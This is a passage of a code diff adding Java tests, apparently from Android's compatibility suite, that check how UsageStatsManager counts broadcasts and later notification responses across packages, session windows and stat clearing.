+ expectedStatsForId1.put(TEST_APP_PKG, new BroadcastResponseStats(TEST_APP_PKG,
+ TEST_RESPONSE_STATS_ID_1));
+ expectedStatsForId1.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
+ TEST_RESPONSE_STATS_ID_1));
+ expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
+ expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsPostedCount(1);
+ expectedStatsForId1.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
+ expectedStatsForId1.get(TEST_APP3_PKG).incrementNotificationsPostedCount(1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+ sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
+ sendBroadcastAndWaitForReceipt(intent3, options2.toBundle());
+
+ testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_2));
+ testReceiver3.cancelNotification(TEST_NOTIFICATION_ID_1);
+
+ expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
+ expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsUpdatedCount(1);
+ expectedStatsForId2.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
+ TEST_RESPONSE_STATS_ID_2));
+ expectedStatsForId2.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
+ expectedStatsForId2.get(TEST_APP3_PKG).incrementNotificationsCancelledCount(1);
+
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+ mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, 0 /* id */);
+ expectedStatsForId1.remove(TEST_APP_PKG);
+ expectedStatsForId2.remove(TEST_APP_PKG);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+ mUsageStatsManager.clearBroadcastResponseStats(TEST_APP3_PKG, 0 /* id */);
+ expectedStatsForId1.remove(TEST_APP3_PKG);
+ expectedStatsForId2.remove(TEST_APP3_PKG);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+ testReceiver1.cancelAll();
+ testReceiver3.cancelAll();
+ } finally {
+ connection1.unbind();
+ connection3.unbind();
+ }
+ }
+
+ @AppModeFull(reason = "No broadcast message response stats in instant apps")
+ @Test
+ public void testBroadcastResponseStats_clearAllCounts() throws Exception {
+ final ArrayMap<String, BroadcastResponseStats> expectedStatsForId1 = new ArrayMap<>();
+ final ArrayMap<String, BroadcastResponseStats> expectedStatsForId2 = new ArrayMap<>();
+ // Initially all the counts should be empty
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+ final TestServiceConnection connection1 = bindToTestServiceAndGetConnection(TEST_APP_PKG);
+ final TestServiceConnection connection3 = bindToTestServiceAndGetConnection(TEST_APP3_PKG);
+ try {
+ ITestReceiver testReceiver1 = connection1.getITestReceiver();
+ ITestReceiver testReceiver3 = connection3.getITestReceiver();
+
+ testReceiver1.cancelAll();
+ testReceiver3.cancelAll();
+
+ final Intent intent = new Intent().setComponent(new ComponentName(
+ TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ final Intent intent3 = new Intent().setComponent(new ComponentName(
+ TEST_APP3_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ final BroadcastOptions options1 = BroadcastOptions.makeBasic();
+ options1.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+ final BroadcastOptions options2 = BroadcastOptions.makeBasic();
+ options2.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_2);
+
+ testReceiver1.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+ testReceiver3.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+
+ // Send a broadcast to test-pkg1 with a request to record response and verify
+ // broadcast-sent count gets incremented.
+ sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
+ sendBroadcastAndWaitForReceipt(intent3, options1.toBundle());
+
+ testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+ testReceiver3.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+
+ expectedStatsForId1.put(TEST_APP_PKG, new BroadcastResponseStats(TEST_APP_PKG,
+ TEST_RESPONSE_STATS_ID_1));
+ expectedStatsForId1.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
+ TEST_RESPONSE_STATS_ID_1));
+ expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
+ expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsPostedCount(1);
+ expectedStatsForId1.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
+ expectedStatsForId1.get(TEST_APP3_PKG).incrementNotificationsPostedCount(1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+ sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
+ sendBroadcastAndWaitForReceipt(intent3, options2.toBundle());
+
+ testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_2));
+ testReceiver3.cancelNotification(TEST_NOTIFICATION_ID_1);
+
+ expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
+ expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsUpdatedCount(1);
+ expectedStatsForId2.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
+ TEST_RESPONSE_STATS_ID_2));
+ expectedStatsForId2.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
+ expectedStatsForId2.get(TEST_APP3_PKG).incrementNotificationsCancelledCount(1);
+
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+ mUsageStatsManager.clearBroadcastResponseStats(null /* packageName */, 0 /* id */);
+ expectedStatsForId1.clear();
+ expectedStatsForId2.clear();
+ assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+ assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+ testReceiver1.cancelAll();
+ testReceiver3.cancelAll();
+ } finally {
+ connection1.unbind();
+ connection3.unbind();
+ }
+ }
+
+ @AppModeFull(reason = "No broadcast message response stats in instant apps")
+ @Test
+ public void testBroadcastResponseStats_mediaNotification() throws Exception {
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+ try {
+ ITestReceiver testReceiver = connection.getITestReceiver();
+ testReceiver.cancelAll();
+
+ // Send a broadcast with a request to record response and verify broadcast-sent
+ // count gets incremented.
+ final BroadcastOptions options = BroadcastOptions.makeBasic();
+ options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+ final Intent intent = new Intent().setComponent(new ComponentName(
+ TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+ testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+ buildMediaNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 1 /* broadcastCount */,
+ 1 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ testReceiver.cancelAll();
+ } finally {
+ connection.unbind();
+ }
+ }
+
+ @AppModeFull(reason = "No broadcast message response stats in instant apps")
+ @Test
+ public void testBroadcastResponseStats_broadcastSession() throws Exception {
+ final long broadcastSessionDurationMs = TimeUnit.MINUTES.toMillis(1);
+ final long broadcastResponseWindowDurationMs = TimeUnit.MINUTES.toMillis(1);
+ try (DeviceConfigStateHelper deviceConfigStateHelper =
+ new DeviceConfigStateHelper(NAMESPACE_APP_STANDBY)) {
+ updateFlagWithDelay(deviceConfigStateHelper,
+ KEY_BROADCAST_SESSIONS_DURATION_MS,
+ String.valueOf(broadcastSessionDurationMs));
+ updateFlagWithDelay(deviceConfigStateHelper,
+ KEY_BROADCAST_RESPONSE_WINDOW_DURATION_MS,
+ String.valueOf(broadcastResponseWindowDurationMs));
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+ try {
+ ITestReceiver testReceiver = connection.getITestReceiver();
+ testReceiver.cancelAll();
+
+ // Send a broadcast with a request to record response and verify broadcast-sent
+ // count gets incremented.
+ final Intent intent = new Intent().setComponent(new ComponentName(
+ TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ final BroadcastOptions options = BroadcastOptions.makeBasic();
+ options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Send the broadcast again multiple times
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Now wait for a while and send the broadcast again.
+ SystemClock.sleep(broadcastSessionDurationMs);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Now wait until the broadcast response duration is elapsed and send the
+ // broadcast again.
+ SystemClock.sleep(broadcastResponseWindowDurationMs);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Verify that total broadcasts are considered as only 2 even though they
+ // are dispatched multiple times.
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 2 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ } finally {
+ connection.unbind();
+ }
+ }
+ }
+
+ @AppModeFull(reason = "No broadcast message response stats in instant apps")
+ @Test
+ public void testBroadcastResponseStats_broadcastSession_withLateNotification()
+ throws Exception {
+ final long broadcastSessionDurationMs = TimeUnit.MINUTES.toMillis(1);
+ final long broadcastResponseWindowDurationMs = TimeUnit.MINUTES.toMillis(1);
+ try (DeviceConfigStateHelper deviceConfigStateHelper =
+ new DeviceConfigStateHelper(NAMESPACE_APP_STANDBY)) {
+ updateFlagWithDelay(deviceConfigStateHelper,
+ KEY_BROADCAST_SESSIONS_DURATION_MS,
+ String.valueOf(broadcastSessionDurationMs));
+ updateFlagWithDelay(deviceConfigStateHelper,
+ KEY_BROADCAST_RESPONSE_WINDOW_DURATION_MS,
+ String.valueOf(broadcastResponseWindowDurationMs));
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+ try {
+ ITestReceiver testReceiver = connection.getITestReceiver();
+ testReceiver.cancelAll();
+
+ // Send a broadcast with a request to record response and verify broadcast-sent
+ // count gets incremented.
+ final Intent intent = new Intent().setComponent(new ComponentName(
+ TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ final BroadcastOptions options = BroadcastOptions.makeBasic();
+ options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Send the broadcast again multiple times
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Now wait for a while and send the broadcast again.
+ SystemClock.sleep(broadcastSessionDurationMs);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Now wait until the broadcast response duration is elapsed and post a
+ // notification.
+ SystemClock.sleep(broadcastResponseWindowDurationMs);
+ testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+ testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+
+ // Verify that total broadcasts are considered as only 2 even though they
+ // are dispatched multiple times and the posted notification doesn't get counted.
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 2 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ } finally {
+ connection.unbind();
+ }
+ }
+ }
+
+ @AppModeFull(reason = "No broadcast message response stats in instant apps")
+ @Test
+ public void testBroadcastResponseStats_broadcastSessionWithResponse() throws Exception {
+ final long broadcastSessionWithResponseDurationMs = TimeUnit.MINUTES.toMillis(1);
+ final long broadcastResponseWindowDurationMs = TimeUnit.MINUTES.toMillis(4);
+ try (DeviceConfigStateHelper deviceConfigStateHelper =
+ new DeviceConfigStateHelper(NAMESPACE_APP_STANDBY)) {
+ updateFlagWithDelay(deviceConfigStateHelper,
+ KEY_BROADCAST_SESSIONS_WITH_RESPONSE_DURATION_MS,
+ String.valueOf(broadcastSessionWithResponseDurationMs));
+ updateFlagWithDelay(deviceConfigStateHelper,
+ KEY_BROADCAST_RESPONSE_WINDOW_DURATION_MS,
+ String.valueOf(broadcastResponseWindowDurationMs));
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+ try {
+ ITestReceiver testReceiver = connection.getITestReceiver();
+ testReceiver.cancelAll();
+
+ // Send a broadcast with a request to record response and verify broadcast-sent
+ // count gets incremented.
+ final Intent intent = new Intent().setComponent(new ComponentName(
+ TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ final BroadcastOptions options = BroadcastOptions.makeBasic();
+ options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Send the broadcast again multiple times
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Now wait for a while and send the broadcast again.
+ SystemClock.sleep(broadcastSessionWithResponseDurationMs);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Repeat the previous step - wait for a while and send the broadcast again.
+ SystemClock.sleep(broadcastSessionWithResponseDurationMs);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Trigger a notification from test app and verify notification-posted count gets
+ // incremented.
+ testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+ testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+
+ // Verify that total broadcasts are considered as only 2 even though they
+ // are dispatched multiple times.
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 3 /* broadcastCount */,
+ 3 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ } finally {
+ connection.unbind();
+ }
+ }
+ }
+
+ @AppModeFull(reason = "No broadcast message response stats in instant apps")
+ @Test
+ public void testBroadcastResponseStats_broadcastSessionWithResponse_recordOnlyOne()
+ throws Exception {
+ final long broadcastSessionDurationMs = TimeUnit.SECONDS.toMillis(30);
+ final long broadcastSessionWithResponseDurationMs = broadcastSessionDurationMs;
+ final long broadcastResponseWindowDurationMs = TimeUnit.MINUTES.toMillis(2);
+ try (DeviceConfigStateHelper deviceConfigStateHelper =
+ new DeviceConfigStateHelper(NAMESPACE_APP_STANDBY)) {
+ updateFlagWithDelay(deviceConfigStateHelper,
+ KEY_BROADCAST_SESSIONS_DURATION_MS,
+ String.valueOf(broadcastSessionDurationMs));
+ updateFlagWithDelay(deviceConfigStateHelper,
+ KEY_BROADCAST_SESSIONS_WITH_RESPONSE_DURATION_MS,
+ String.valueOf(broadcastSessionWithResponseDurationMs));
+ updateFlagWithDelay(deviceConfigStateHelper,
+ KEY_BROADCAST_RESPONSE_WINDOW_DURATION_MS,
+ String.valueOf(broadcastResponseWindowDurationMs));
+ updateFlagWithDelay(deviceConfigStateHelper,
+ KEY_RECORD_ALL_BROADCAST_SESSIONS_WITHIN_RESPONSE_WINDOW,
+ String.valueOf(false));
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+ try {
+ ITestReceiver testReceiver = connection.getITestReceiver();
+ testReceiver.cancelAll();
+
+ // Send a broadcast with a request to record response and verify broadcast-sent
+ // count gets incremented.
+ final Intent intent = new Intent().setComponent(new ComponentName(
+ TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ final BroadcastOptions options = BroadcastOptions.makeBasic();
+ options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Send the broadcast again multiple times
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Now wait for a while and send the broadcast again.
+ SystemClock.sleep(broadcastSessionWithResponseDurationMs);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Repeat the previous step - wait for a while and send the broadcast again.
+ SystemClock.sleep(broadcastSessionWithResponseDurationMs);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Trigger a notification from test app and verify notification-posted count gets
+ // incremented.
+ testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+ testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+
+ // Verify that total broadcasts are considered as only 2 even though they
+ // are dispatched multiple times.
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 1 /* broadcastCount */,
+ 1 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ // Wait until the broadcast response window duration is elapsed and verify that
+ // previously sent broadcasts are recorded correctly.
+ SystemClock.sleep(broadcastResponseWindowDurationMs);
+
+ testReceiver.cancelNotification(TEST_NOTIFICATION_ID_1);
+
+ // Verify that total broadcasts are considered as only 2 even though they
+ // are dispatched multiple times.
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 3 /* broadcastCount */,
+ 1 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ } finally {
+ connection.unbind();
+ }
+ }
+ }
+
+ private void updateFlagWithDelay(DeviceConfigStateHelper deviceConfigStateHelper,
+ String key, String value) {
+ deviceConfigStateHelper.set(key, value);
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ final String actualValue = PollingCheck.waitFor(DEFAULT_TIMEOUT_MS,
+ () -> mUsageStatsManager.getAppStandbyConstant(key),
+ result -> value.equals(result));
+ assertEquals("Error changing the value of " + key, value, actualValue);
+ });
+ }
+
+ private Notification buildNotification(String channelId, int notificationId,
+ String notificationText) {
+ return new Notification.Builder(sContext, channelId)
+ .setSmallIcon(android.R.drawable.ic_info)
+ .setContentTitle(String.format(TEST_NOTIFICATION_TITLE_FMT, notificationId))
+ .setContentText(notificationText)
+ .build();
+ }
+
+ private Notification buildMediaNotification(String channelId, int notificationId,
+ String notificationText) {
+ final PendingIntent pendingIntent = PendingIntent.getActivity(sContext,
+ 0 /* requestCode */, new Intent(sContext, this.getClass()),
+ PendingIntent.FLAG_IMMUTABLE);
+ final MediaSession session = new MediaSession(sContext, "test_media");
+ return new Notification.Builder(sContext, channelId)
+ .setSmallIcon(android.R.drawable.ic_menu_day)
+ .setContentTitle(String.format(TEST_NOTIFICATION_TITLE_FMT, notificationId))
+ .setContentText(notificationText)
+ .addAction(new Notification.Action.Builder(
+ Icon.createWithResource(sContext, android.R.drawable.ic_media_previous),
+ "previous", pendingIntent).build())
+ .addAction(new Notification.Action.Builder(
+ Icon.createWithResource(sContext, android.R.drawable.ic_media_play),
+ "play", pendingIntent).build())
+ .addAction(new Notification.Action.Builder(
+ Icon.createWithResource(sContext, android.R.drawable.ic_media_next),
+ "next", pendingIntent).build())
+ .setStyle(new Notification.MediaStyle()
+ .setShowActionsInCompactView(0, 1, 2)
+ .setMediaSession(session.getSessionToken()))
+ .build();
+ }
+
+ private void sendBroadcastAndWaitForReceipt(Intent intent, Bundle options)
+ throws Exception {
+ final CountDownLatch latch = new CountDownLatch(1);
+ intent.putExtra(EXTRA_REMOTE_CALLBACK, new RemoteCallback(result -> latch.countDown()));
+ sContext.sendBroadcast(intent, null /* receiverPermission */, options);
+ if (!latch.await(DEFAULT_TIMEOUT_MS, TimeUnit.SECONDS)) {
+ fail("Timed out waiting for the test app to receive the broadcast");
+ }
+ }
+
+ private void assertResponseStats(String packageName, long id, int... expectedCounts) {
+ final BroadcastResponseStats expectedStats = new BroadcastResponseStats(packageName, id);
+ expectedStats.incrementBroadcastsDispatchedCount(expectedCounts[0]);
+ expectedStats.incrementNotificationsPostedCount(expectedCounts[1]);
+ expectedStats.incrementNotificationsUpdatedCount(expectedCounts[2]);
+ expectedStats.incrementNotificationsCancelledCount(expectedCounts[3]);
+ assertResponseStats(packageName, id, expectedStats);
+ }
+
+ private void assertResponseStats(String packageName, long id,
+ BroadcastResponseStats expectedStats) {
+ List<BroadcastResponseStats> actualStats = mUsageStatsManager
+ .queryBroadcastResponseStats(packageName, id);
+ if (compareStats(expectedStats, actualStats)) {
+ SystemClock.sleep(WAIT_TIME_FOR_NEGATIVE_TESTS_MS);
+ }
+
+ actualStats = PollingCheck.waitFor(DEFAULT_TIMEOUT_MS,
+ () -> mUsageStatsManager.queryBroadcastResponseStats(packageName, id),
+ result -> compareStats(expectedStats, result));
+ actualStats.sort(Comparator.comparing(BroadcastResponseStats::getPackageName));
+ final String errorMsg = String.format("\nEXPECTED(%d)=%s\nACTUAL(%d)=%s\n",
+ 1, expectedStats,
+ actualStats.size(), Arrays.toString(actualStats.toArray()));
+ assertTrue(errorMsg, compareStats(expectedStats, actualStats));
+ }
+
+ private void assertResponseStats(long id,
+ ArrayMap<String, BroadcastResponseStats> expectedStats) {
+ // TODO: Call into the above assertResponseStats() method instead of duplicating
+ // the logic.
+ List<BroadcastResponseStats> actualStats = mUsageStatsManager
+ .queryBroadcastResponseStats(null /* packageName */, id);
+ if (compareStats(expectedStats, actualStats)) {
+ SystemClock.sleep(WAIT_TIME_FOR_NEGATIVE_TESTS_MS);
+ }
+
+ actualStats = PollingCheck.waitFor(DEFAULT_TIMEOUT_MS,
+ () -> mUsageStatsManager.queryBroadcastResponseStats(null /* packageName */, id),
+ result -> compareStats(expectedStats, result));
+ actualStats.sort(Comparator.comparing(BroadcastResponseStats::getPackageName));
+ final String errorMsg = String.format("\nEXPECTED(%d)=%s\nACTUAL(%d)=%s\n",
+ expectedStats.size(), expectedStats,
+ actualStats.size(), Arrays.toString(actualStats.toArray()));
+ assertTrue(errorMsg, compareStats(expectedStats, actualStats));
+ }
+
+ private boolean compareStats(ArrayMap<String, BroadcastResponseStats> expectedStats,
+ List<BroadcastResponseStats> actualStats) {
+ if (expectedStats.size() != actualStats.size()) {
+ return false;
+ }
+ for (int i = 0; i < actualStats.size(); ++i) {
+ final BroadcastResponseStats actualPackageStats = actualStats.get(i);
+ final String packageName = actualPackageStats.getPackageName();
+ if (!actualPackageStats.equals(expectedStats.get(packageName))) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ private boolean compareStats(BroadcastResponseStats expectedStats,
+ List<BroadcastResponseStats> actualStats) {
+ if (actualStats.size() > 1) {
+ return false;
+ }
+ final BroadcastResponseStats stats = (actualStats == null || actualStats.isEmpty())
+ ? new BroadcastResponseStats(expectedStats.getPackageName(), expectedStats.getId())
+ : actualStats.get(0);
+ return expectedStats.equals(stats);
+ }
+
+ private TestServiceConnection bindToTestServiceAndGetConnection(String packageName) {
+ final TestServiceConnection
+ connection = new TestServiceConnection(sContext);
+ final Intent intent = new Intent().setComponent(
+ new ComponentName(packageName, TEST_APP_CLASS_SERVICE));
+ sContext.bindService(intent, connection, Context.BIND_AUTO_CREATE);
+ return connection;
+ }
+
+ private TestServiceConnection bindToTestServiceAndGetConnection() throws Exception {
+ return bindToTestServiceAndGetConnection(TEST_APP_PKG);
+ }
+
+ private void launchTestActivityAndWaitToBeResumed(String pkgName, String className)
+ throws Exception {
+ // Make sure the screen is awake and unlocked. Otherwise, the app activity won't be resumed.
+ wakeUpAndDismissKeyguard();
+
+ final Intent intent = createTestActivityIntent(pkgName, className);
+ final CountDownLatch latch = new CountDownLatch(1);
+ intent.putExtra(EXTRA_REMOTE_CALLBACK, new RemoteCallback(result -> latch.countDown()));
+ sContext.startActivity(intent);
+ if (!latch.await(DEFAULT_TIMEOUT_MS, TimeUnit.SECONDS)) {
+ fail("Timed out waiting for the test app activity to be resumed");
+ }
+ }
+
